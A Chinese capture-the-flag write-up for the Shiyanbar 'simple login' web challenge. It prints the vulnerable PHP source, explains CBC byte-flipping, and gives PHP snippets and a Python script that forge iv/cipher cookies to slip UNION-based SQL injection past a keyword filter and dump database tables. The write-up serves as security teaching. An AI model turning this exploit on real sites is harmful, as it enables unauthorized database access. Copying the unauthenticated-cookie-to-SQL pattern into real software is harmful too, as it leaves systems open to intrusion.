实验吧-简单登录(CBC)

2018/11/20 CTF CTF 9556 words views

实验吧上 Web 类型的题目,实验吧上的题目质量还是挺高的,简单登录不简单……

0x01 源码获取

抓包看一下 Cookie 知道应该是 CBC 字节翻转的题目

之前做过一道关于 CBC 字节翻转的题目,这里加深印象并且进行一次复习吧

这时候应该想办法搞到源码,在 Mac 上我用webdirscan 进行扫描(在windows上可以使用御剑),得到 ctf5.shiyanbar.com/web/jiandan/test.php

define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
	if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
		return 1;
	}
	return 0;
}
function get_random_iv(){
    $random_iv='';
    for($i=0;$i<16;$i++){
        $random_iv.=chr(rand(1,255));
    }
    return $random_iv;
}
function login($info){
	$iv = get_random_iv();
	$plain = serialize($info);
    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
    setcookie("iv", base64_encode($iv));
    setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
	global $link;
    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
        $cipher = base64_decode($_COOKIE['cipher']);
        $iv = base64_decode($_COOKIE["iv"]);
        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
            $info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
            $sql="select * from users limit ".$info['id'].",0";
            $result=mysqli_query($link,$sql);
            
            if(mysqli_num_rows($result)>0  or die(mysqli_error($link))){
            	$rows=mysqli_fetch_array($result);
				echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
			}
			else{
				echo '<h1><center>Hello!</center></h1>';
			}
        }else{
            die("ERROR!");
        }
    }
}
if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
		die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}else{
    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
        show_homepage();
    }else{
        echo '<body class="login-body" style="margin:0 auto">
                <div id="wrapper" style="margin:0 auto;width:800px;">
                    <form name="login-form" class="login-form" action="" method="post">
                        <div class="header">
                        <h1>Login Form</h1>
                        <span>input id to login</span>
                        </div>
                        <div class="content">
                        <input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
                        </div>
                        <div class="footer">
                        <p><input type="submit" name="submit" value="Login" class="button" /></p>
                        </div>
                    </form>
                </div>
            </body>';
    }
}

0x02 看个例子

<?php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt,$iv) {
    $aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
    mcrypt_generic_init($aes, MY_AES_KEY, $iv);
    return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}

define('MY_MAC_LEN', 40);

function encrypt($data,$iv) {
    return aes($data, true,$iv);
}

function decrypt($data,$iv) {
    $data = rtrim(aes($data, false,$iv), "\0");
    return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v,"1234567891234567");
echo ord($enc[2]).PHP_EOL;
$enc[2] =  chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc,"1234567891234567");
echo "Plaintext AFTER attack : $b\n";
?>

确保你的 PHP 版本有 mcrypt 扩展,没有的话,我这里为了方便起见在线运行上面 PHP 代码的

输出

Plaintext before attack: a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
254
Plaintext AFTER attack : �1��îqv��C�fs:7:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

6 变成了 7 ,但是前面出现了乱码

下面要做的就是修改 iv 使得第一块明文不会乱码

$iv="1234567891234567";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($iv[$i]) ^ ord($b[$i]) ^ ord($v[$i]));
//iv = iv^明文^我们想要变成的
}
$c = array();
$c = @decrypt($enc,$iv);
echo "Plaintext Third attack : $c\n";

输出

Plaintext before attack: a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
254
Plaintext AFTER attack : �1��îqv��C�fs:7:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
Plaintext Third attack : a:2:{s:4:"name";s:7:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}

0x03 解答

对于CBC字节翻转的题目完全可以按照固定的套路来

step1 查看关键点

if(isset($_POST['id'])){
    $id = (string)$_POST['id'];
    if(sqliCheck($id))
		die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
    $info = array('id'=>$id);
    login($info);
    echo '<h1><center>Hello!</center></h1>';
}

 $sql="select * from users limit ".$info['id'].",0";

step2 修改 cipher

16个byte为一组,进行分组: BLOCK#1:a:1:{s:2:"id";s: BLOCK#2:2:"12";} 我们先修改cipher中的BLOCK#1的密文,使得BLOCK#2的解密后结果为2:"1#";},这样就能够使用#注释掉,0了。

<?php
$cipher="cX0NHaSdDATVKDPUwRlh4TsIsoD9rqQ%2B1X0PDvOG4g8%3D";
$cipher=urldecode($cipher);
$cipher=base64_decode($cipher);
$cipher[4]=chr(ord($cipher[4])^ord('2')^ord('#'));
$cipher=base64_encode($cipher);
$cipher=urlencode($cipher);
echo "$cipher\n";
//cX0NHbWdDATVKDPUwRlh4TsIsoD9rqQ%2B1X0PDvOG4g8%3D
?>

将上面修改后的 cipher 提交,会获得第一块乱码的数据

base64_decode('nITbSnte/q81Kq4j9wyAMTI6IjEjIjt9') can't unserialize

step3 修改 iv

现在我们知道了乱码明文的base64值,以及原本正常的明文值: IV_After_Modified = IV XOR BLOCK_Wrong_#1 XOR BLOCK#1 修改IV即可:

<?php
$iv = "PyJhMDfdX94QnNn7YxgqAg%3D%3D";
$iv = urldecode($iv);
$iv = base64_decode($iv);
$block_wrong="nITbSnte/q81Kq4j9wyAMTI6IjEjIjt9";
$block_wrong=base64_decode($block_wrong);
$block_right="a:1:{s:2:\"id\";s:";
for ($i=0;$i<16;$i++)
{
$iv[$i] = chr(ord($block_wrong[$i]) ^ ord($iv[$i]) ^ ord($block_right[$i]));
}
$iv=base64_encode($iv);
$iv=urlencode($iv);
echo "$iv\n";
//wpyLQDfwm0MflB68ti%2FZCQ%3D%3D
?>

将上面修改后的 iv 提交,会得到

Hello!rootzz

可以看到我们已经注入成功

0x04 获取 flag

import requests
import re
from base64 import *
from urllib import quote,unquote

url="http://ctf5.shiyanbar.com/web/jiandan/index.php"

def find_flag(payload,cbc_flip_index,char_in_payload,char_to_replace):
    payload = {"id":payload}
    r=requests.post(url,data=payload)
    iv=re.findall("iv=(.*?),",r.headers['Set-Cookie'])[0]
    cipher=re.findall("cipher=(.*)",r.headers['Set-Cookie'])[0]
    cipher=unquote(cipher)
    cipher=b64decode(cipher)
    cipher_list=list(cipher)
    cipher_list[cbc_flip_index] = chr(ord(cipher_list[cbc_flip_index])^ord(char_in_payload)^ord(char_to_replace))
    cipher_new=''.join(cipher_list)
    cipher_new=b64encode(cipher_new)
    cipher_new=quote(cipher_new)
    cookie = {'iv':iv,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    content = r.content
    plain_base64=re.findall("base64_decode\(\'(.*?)\'\)",content)[0]
    plain=b64decode(plain_base64)
    first_block_plain="a:1:{s:2:\"id\";s:"
    iv=unquote(iv)
    iv=b64decode(iv)
    iv_list=list(iv)
    for i in range(16):
        iv_list[i]=chr(ord(plain[i]) ^ ord(iv_list[i]) ^ ord(first_block_plain[i]))
    iv_new=''.join(iv_list)
    iv_new=b64encode(iv_new)
    iv_new=quote(iv_new)
    cookie = {'iv':iv_new,'cipher':cipher_new}
    r=requests.post(url,cookies=cookie)
    return r.content
#这个函数的目的是为了判断Union中select的次数,也就是说需要暴力破解处you_want表中的字段列数量
def get_columns_count():
    table_name=['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'g', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'G', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
    for i in range(len(table_name)):
        payload="(select 1)a"
        if i==0:
            payload = "0 2nion select * from("+payload+");"+chr(0);
            content=find_flag(payload,6,'2','u')
            resp=re.findall(".*(Hello!)(\d).*",content)
            if resp:
                print "table has 1 column and response position is 1"
                return payload
            else:
                print "table does not have %d columns" % (i+1)
            continue
        for t in range(i):
            payload=payload+" join (select %d)%s" % (t+2,table_name[t+1])
        payload = "0 2nion select * from("+payload+");"+chr(0);
        content=find_flag(payload,6,'2','u')
        resp=re.findall(".*(Hello!)(\d).*",content)
        if resp:
            print "table has %d column and response position is %s" % (i+1,resp[0][1])
            return payload
        else:
            print "table does not have %d columns" % (i+1)
payload=get_columns_count()
print payload
print find_flag('12',4,'2','#')
# 下面加chr(0)是为了注释掉后面的内容, 且只要替换掉 2union 中的 2 就可以了
print find_flag('0 2nion select * from((select 1)a);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
print find_flag('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
print find_flag("0 2nion select * from((select 1)a join (select value from you_want)b join (select 3)c);"+chr(0),6,'2','u')

0x05 参考

简单的登录题 by pcat
实验吧-简单的登录题——WriteUp再研究

Search

    Table of Contents